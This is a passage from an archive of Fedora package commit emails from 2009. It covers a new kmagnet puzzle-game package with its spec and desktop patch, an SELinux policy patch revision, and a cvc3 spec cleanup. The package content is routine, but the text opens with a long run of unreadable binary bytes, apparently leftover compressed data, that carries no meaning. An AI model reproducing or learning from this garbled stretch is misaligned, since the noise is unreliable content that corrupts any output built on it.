y??&`B??C???????V??E???{'?@??Nw?z at G??(do?n??y??V?R?;!????!4?)?^????Q?????%??????????{?P???????-T?j:???r
??lg??:z
?6??j6??V at GJN??b?#????"_??S??Ckh%?v??l?O??E?????Y+?{?X??Fg?????p??Q
d???
??n?H???\??????????:?????}??????@??O??CT?7?-x?&g?Z??T?\:??Y??Iy????>?$?e??????C?M???-???????ON?PO??
???V?????9OQ'Y.k?Q?RL]?(?????8 +?+???5??M<????????F?k????
}?b(?P?????3Y?????B?????{n??c?????????*??i? Z???w??f????2@q[D2??-E??-'N????E??/cg]/{
/?????%??k??yC$9?'?-S?VUw\?m?/???E??*e????.???(3????????}`
'[rw?*???z^?j??N?M|??a?zE]?T??d???4?<*=[??L???bL+8c??????{???3d???
??V??????n"6?.=????????/(?^?LHO+I?????;?_z??????(????\+e?=??	?|V
5y?-??V?>+??D? ?b?A"s???"?m)M#Y?????#????$?4??X?HM.?}~???JW??ZzD? S?????!???"4???b=?????????????????&/?PD"??FfU?lNU??{B?ef??6?h??B???f????1?'?Fo?t??a????%w??RHfD?u|akD3K??C??{P???<q????/q?
??????z??
??W? ???i??@????/??S1?q???dv???@?hfR?P
]???Z]{?????r????\}????"l?#I????E??2K??N?
Y%?fq1??m???y=t?-Q???????????Yn? ??????nk??	Q
?4rg??h?iK?C????L??rC?????c?fN??
?8?'i?:;?|Ql<???e?:?R?:????????????L2?<?m.w??>gJO??`???
???f????;+?%_??-??w?$,S?'?|e?hO?u??7)XWD???[B4?7[>-???^&?[Q"?d?V??????u',?Nl?$??-??????2?C#$????E?6?5?9?N^^w?bP@#75?	w?>?![T+??fCJ??})??.?7G?Z	C?O?w??jYb?T?x?N???")????V}w?Q?????BusLL??l??b???
??r?
???S???????Y?z<.E?7?U\?J?\????????/???k?a1?M?,X(????3?~Rh???g?"h??(f???5??J??OG?\g??l?Y?1'????7?VU?t?X?????*??KzZ]$?7a?????:?????^N2xI??cz???:???Z?
V`??*q%Ta?h?G9???z3??/????<?????*r??p@}=?^??Mn
q=????M?0n??y`????X?zU
??g/??I???I\p???-?w?E?P???w<?

H????9??N??m??A v?rE?????e??q?????????)9T??p???i??Q?'?T?c??????#??_3UB?O\?Xm?2?g2y??l#???`mqe??^?6?jW?9v?	?t???????,????
?	???a????B??)??
r#T????Bk#U?U?s?g?3R?8?^a????y6???.??s?D??3?
PaK??G?U?.??G?????P???~r?#?????/V??????n??g?"?E?l??%qA?]S??M?M7?i9?K??F?????)????o0?(??Jk~?L?<?:w?{J??JOOwLC,4d???b??????E???]? ????????????YH????t??u?o5}{c?(k
qX>?,:l/a6??z?+WG=?7???_5?F+#??x?????R'?M?4o??w?S???*?x???IV??g?]F??eBB?8??Y.?-????,y?M
?=?[{WB?????Q?%K??\????SX?W??pc????
??;????V??r??k???3G???????"?1VKKtDI1??g&V?I??3????"?H????"?ut???^????D????o???wF?D[<K??p???????z?`????w?*?????V??ym?]3???????X????????B:?at"CZo?????c??zV>???xR???S??;m???8:?*??y??8,???P??3?'(??????DYn?'???&??????-R0?.????faiO???mb?@???%"???)?ICL8!?y?6?#????a3aEl?F???&?2?D??J??0X???x??n<?O?Km~???/Y ???'?4n??b????? ????jU?I???=???QrL?s???D??@??E^3?Eu'?(!??J\b?k?)??f??I"R4?uW?:?0??s2??6??????M????1F?
_?kH)????bxK?kx:?????S?????S/VYO?b??????V	=???M
??g?????Uy????m?-?*?????5????w??:S5??
??I\?<Wy????7?$?#??'uS?? M??8?h??????mhRzk???hP??????X??.P+L?????~???j???1????C????8???e?:?8u???????l???u?G-4_????$??????
?B???*F?
????L?l?r???a??Io?&W
??
??\#?Y.1I:lp?4n?^?????\?NQ"K??\
??X?Ix????_??????,?????Q)??Ua?"??KT????<????I???????????????~??a??b????7g$?
??ap?3?
C!x??%?????'?????nX?7?????0????7?=??B????Wa??e??"`QI at TJNRRNT\?
???????4?
J2?A?
G???v#?0n????
?7?b?`????????
88?????X$qQ
?U~&
?)???U??5??????x	?4:h?'	
??jQ?/?(????'N{,??~aA?p,?F??:?;?????????Q?!px_??	?z??Qp?e??w ???F?~??0??4?h7?_lQF???H8
?>????QQ????..
?????,???S??5V?5?-l?p???

s?????????+??`????@?????x???@W	?????_\>6x$??s??w-?W?????&0/??
?q??(>?/ypW7?#?$?t?A?;?"???
 ?
?f?`?wB???3?.p!?M0??G?O?????b?p??
???
????????????"?c?"XKH
?????? <?
???(4???T???X?#??BH.?aBq??????????!?
?S
???7a????Q??~h????????w?a??>f ?6??????R{?oc?X
????????A?!??`???????p4P61??34T!(8a?T?????j
`?E?O?2?q?:?	?
??$?s???o???
???;??6??8d?fxU?HMA???\'L??BG0??R???Z???OOp?*8?q???%n?(?????A0p(???~1??L???
y
??>?-?????Lh
kmagnet-desktop-category.patch:
 kmagnet.desktop |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kmagnet-desktop-category.patch ---
diff -Nur kmagnet-0.03/src/kmagnet.desktop kmagnet-0.03-fedora/src/kmagnet.desktop
--- kmagnet-0.03/src/kmagnet.desktop	2009-10-15 16:55:13.000000000 -0700
+++ kmagnet-0.03-fedora/src/kmagnet.desktop	2009-10-16 20:08:06.541577949 -0700
@@ -1,4 +1,3 @@
-#!/usr/bin/env xdg-open
 [Desktop Entry]
 Name=kMagnet
 Name[x-test]=xxkMagnetxx
@@ -9,5 +8,5 @@
 GenericName=Simple puzzle game
 GenericName[ca]=Trencaclosques senzill
 Terminal=0
-Categories=Qt;KDE;Game;PuzzleGame;
+Categories=Qt;KDE;Game;LogicGame;
 


--- NEW FILE kmagnet.spec ---
Name:           kmagnet
Version:        0.03
Release:        5%{?dist}
Summary:        A simple puzzle game with a built-in puzzle editor

Group:          Amusements/Games
License:        GPLv3+
URL:            http://kde-apps.org/content/show.php/kmagnet?content=109111
Source0:        http://www.kde-apps.org/CONTENT/content-files/109111-%{name}-%{version}.tar.bz2
Patch0:         kmagnet-desktop-category.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  kdegames-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
Kmagnet is a simple puzzle game with a built-in puzzle editor. Basically you 
can move the ball up down left or right and it stops when it finds an 
obstacle or arrives to a hole. To win the ball has to arrive to a hole.


%prep
%setup -q
%patch0 -p1


%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} -C %{_target_platform}

desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/%{name}.desktop


%clean
rm -rf %{buildroot}


%post 
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
        touch --no-create %{_kde4_iconsdir}/hicolor &>/dev/null
        gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README TODO
%{_kde4_bindir}/%{name}
%{_kde4_datadir}/applications/kde4/%{name}.desktop
%{_kde4_datadir}/config.kcfg/%{name}.kcfg
%{_kde4_docdir}/HTML/en/%{name}/
%{_kde4_iconsdir}/hicolor/*/*/*
%{_kde4_appsdir}/kMagnet/


%changelog
* Sat Oct 17 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-5
- Fixed changelog macro usage in 0.02-3
- Removed unnecessary scriptlets
- Changed %%files to own the directories

* Fri Oct 16 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-4
- Update to 0.03
- Upstream changed name to kMagnet
- Added a patch to fix .desktop file

* Sat Oct 10 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-3
- Removed redundant call to desktop-file-install
- Changed one %%files entry to use %%{_kde4_appsdir}

* Fri Oct 9 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-2
- Fixed Requires and BuildRequires
- Removed VERBOSE=1 from Makefile
- Sane use of macros in files section
- Added documentation
- Added icon code snippets
- Added desktop-file-validate

* Wed Oct 7 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.02-1
- initial package



From dwalsh at fedoraproject.org  Tue Oct 27 21:34:16 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 27 Oct 2009 21:34:16 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch,1.119,1.120
Message-ID: <20091027213416.E5FEE11C00E6@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19428

Modified Files:
	policy-F12.patch 
Log Message:
* Tue Oct 27 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-35
- Allow bittlebee to connect to privoxy port
- Allow iptables to work with shorewall


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   36 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  425 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   21 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  180 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  336 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 375 files changed, 18232 insertions(+), 2753 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.119
retrieving revision 1.120
diff -u -p -r1.119 -r1.120
--- policy-F12.patch	27 Oct 2009 20:55:55 -0000	1.119
+++ policy-F12.patch	27 Oct 2009 21:34:12 -0000	1.120
@@ -7721,13 +7721,13 @@ diff -b -B --ignore-all-space --exclude-
 +gen_user(guest_u, user, guest_r, s0, s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/staff.te serefpolicy-3.6.32/policy/modules/roles/staff.te
 --- nsaserefpolicy/policy/modules/roles/staff.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/roles/staff.te	2009-10-26 16:38:35.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/roles/staff.te	2009-10-27 17:32:32.000000000 -0400
 @@ -10,161 +10,117 @@
  
  userdom_unpriv_user_template(staff)
  
 +# needed for sandbox
-+allow staff_t self:process setexec setfscreate;
++allow staff_t self:process setexec;
 +
  ########################################
  #



From jjames at fedoraproject.org  Tue Oct 27 21:43:22 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 27 Oct 2009 21:43:22 +0000 (UTC)
Subject: rpms/cvc3/F-11 cvc3.spec,1.1,1.2
Message-ID: <20091027214322.E14D011C00E6@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/F-11

Modified Files:
	cvc3.spec 
Log Message:
* Tue Oct 27 2009 Jerry James <loganjerry at gmail.com> - 2.1-3
- Drop the graphviz BR to block generation of huge class graphs
- Use the new (X)Emacs RPM macros to simplify the spec file



Index: cvc3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-11/cvc3.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvc3.spec	22 Oct 2009 16:27:53 -0000	1.1
+++ cvc3.spec	27 Oct 2009 21:43:18 -0000	1.2
@@ -1,27 +1,14 @@
-# If the emacs-el package has installed a pkgconfig file, use that to determine
-# install locations and Emacs version at build time, otherwise set defaults.
-%if %($(pkg-config emacs) ; echo $?)
-%define emacs_version 22.1
-%define emacs_lispdir %{_datadir}/emacs/site-lisp
-%else
-%define emacs_version %(pkg-config emacs --modversion)
-%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
-%endif
-
 # If the xemacs-devel package has installed a pkgconfig file, use that to
-# determine install locations and Emacs version at build time, otherwise set
-# defaults.
+# determine version at build time, otherwise set a default.
 %if %($(pkg-config xemacs) ; echo $?)
 %define xemacs_version 21.5
-%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
 %else
 %define xemacs_version %(pkg-config xemacs --modversion)
-%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
 %endif
 
 Name:           cvc3
 Version:        2.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Validity checker of many-sorted first-order formulas with theories
 
 Group:          Applications/Engineering
@@ -42,7 +29,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch3:         cvc3-java.patch
 
 BuildRequires:  bison, doxygen, emacs, emacs-el, flex, gnu-free-sans-fonts
-BuildRequires:  gmp-devel, graphviz, java-devel, jpackage-utils, perl, time
+BuildRequires:  gmp-devel, java-devel, jpackage-utils, perl, time
 BuildRequires:  transfig, tex(latex), xemacs, xemacs-devel
 Requires:       gnu-free-sans-fonts
 
@@ -82,6 +69,7 @@ is not true (e.g., i = 0 and j = -1).
 Group:          Development/Libraries
 Summary:        Header files for development with CVC3
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description devel
 Header files need to develop with CVC3.
@@ -90,6 +78,7 @@ Header files need to develop with CVC3.
 Group:          Documentation
 Summary:        API documentation for CVC3
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description doc
 API documentation for CVC3.
@@ -105,8 +94,9 @@ Java interface for CVC3.
 %package emacs
 Group:          Applications/Engineering
 Summary:        Compiled Emacs mode for CVC3
-Requires:       emacs(bin) >= %{emacs_version}
+Requires:       emacs(bin) >= %{_emacs_version}
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description emacs
 This package contains the byte compiled CVC3 mode for Emacs.
@@ -115,6 +105,7 @@ This package contains the byte compiled 
 Group:          Applications/Engineering
 Summary:        Elisp source files for the CVC3 Emacs mode
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description emacs-el
